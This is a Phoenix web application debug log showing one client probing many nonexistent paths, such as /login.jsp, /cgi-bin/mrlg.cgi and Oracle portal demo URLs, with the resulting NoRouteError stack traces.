[Thu Sep  3 08:03:47.476000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48486] Sent 200 in 970µs
[Thu Sep  3 08:03:48.844000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48498] GET /dwr/index.html
[Thu Sep  3 08:03:48.877000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48498] ** (Phoenix.Router.NoRouteError) no route found for GET /dwr/index.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:03:54.504000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51958] GET /login.jsp
[Thu Sep  3 08:03:54.531000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51958] ** (Phoenix.Router.NoRouteError) no route found for GET /login.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:03:54.665000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51964] GET /login.jsp
[Thu Sep  3 08:03:54.690000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51964] ** (Phoenix.Router.NoRouteError) no route found for GET /login.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:03:55.811000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51966] GET /cgi-bin/pub/pki
[Thu Sep  3 08:03:55.833000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51966] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/pub/pki (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:00.848000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51980] GET /api/config
[Thu Sep  3 08:04:00.873000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51980] ** (Phoenix.Router.NoRouteError) no route found for GET /api/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:02.479000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51990] GET /
[Thu Sep  3 08:04:02.480000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:51990] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:04:02.481000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51990] Sent 200 in 1ms
[Thu Sep  3 08:04:10.809000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53214] POST /v1/users/no_such_user_999
[Thu Sep  3 08:04:10.829000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53214] ** (Phoenix.Router.NoRouteError) no route found for POST /v1/users/no_such_user_999 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:16.722000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 08:04:18.074000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48442] GET /
[Thu Sep  3 08:04:18.074000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:48442] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:04:18.075000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48442] Sent 200 in 916µs
[Thu Sep  3 08:04:25.130000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59780] GET /
[Thu Sep  3 08:04:25.131000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:59780] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:04:25.131000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59780] Sent 200 in 913µs
[Thu Sep  3 08:04:25.752000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59780] GET /cgi-bin/mrlg.cgi
[Thu Sep  3 08:04:25.783000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59780] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/mrlg.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:26.471000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59794] GET /lg/
[Thu Sep  3 08:04:26.495000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59794] ** (Phoenix.Router.NoRouteError) no route found for GET /lg (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:27.146000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59798] GET /mrlg/
[Thu Sep  3 08:04:27.176000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59798] ** (Phoenix.Router.NoRouteError) no route found for GET /mrlg (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:29.206000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59806] GET /NoviSurvey/Login.aspx
[Thu Sep  3 08:04:29.260000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59806] ** (Phoenix.Router.NoRouteError) no route found for GET /NoviSurvey/Login.aspx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:29.884000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59808] GET /Login.aspx
[Thu Sep  3 08:04:29.907000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59808] ** (Phoenix.Router.NoRouteError) no route found for GET /Login.aspx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:38.644000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50502] GET /nps/servlet/portal
[Thu Sep  3 08:04:38.682000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50502] ** (Phoenix.Router.NoRouteError) no route found for GET /nps/servlet/portal (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:44.689000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38970] GET /portal/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW
[Thu Sep  3 08:04:44.712000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38970] ** (Phoenix.Router.NoRouteError) no route found for GET /portal/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:45.389000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38980] GET /portal/pls/portal/DEV_PORTAL_DEMO.ORG_CHART.SHOW
[Thu Sep  3 08:04:45.410000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38980] ** (Phoenix.Router.NoRouteError) no route found for GET /portal/pls/portal/DEV_PORTAL_DEMO.ORG_CHART.SHOW (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:46.068000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38986] GET /portal/pls/portal/DEV1_PORTAL_DEMO.ORG_CHART.SHOW
[Thu Sep  3 08:04:46.090000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38986] ** (Phoenix.Router.NoRouteError) no route found for GET /portal/pls/portal/DEV1_PORTAL_DEMO.ORG_CHART.SHOW (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:46.864000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39000] GET /portal/pls/portal/DEV2_PORTAL_DEMO.ORG_CHART.SHOW
[Thu Sep  3 08:04:46.892000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39000] ** (Phoenix.Router.NoRouteError) no route found for GET /portal/pls/portal/DEV2_PORTAL_DEMO.ORG_CHART.SHOW (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
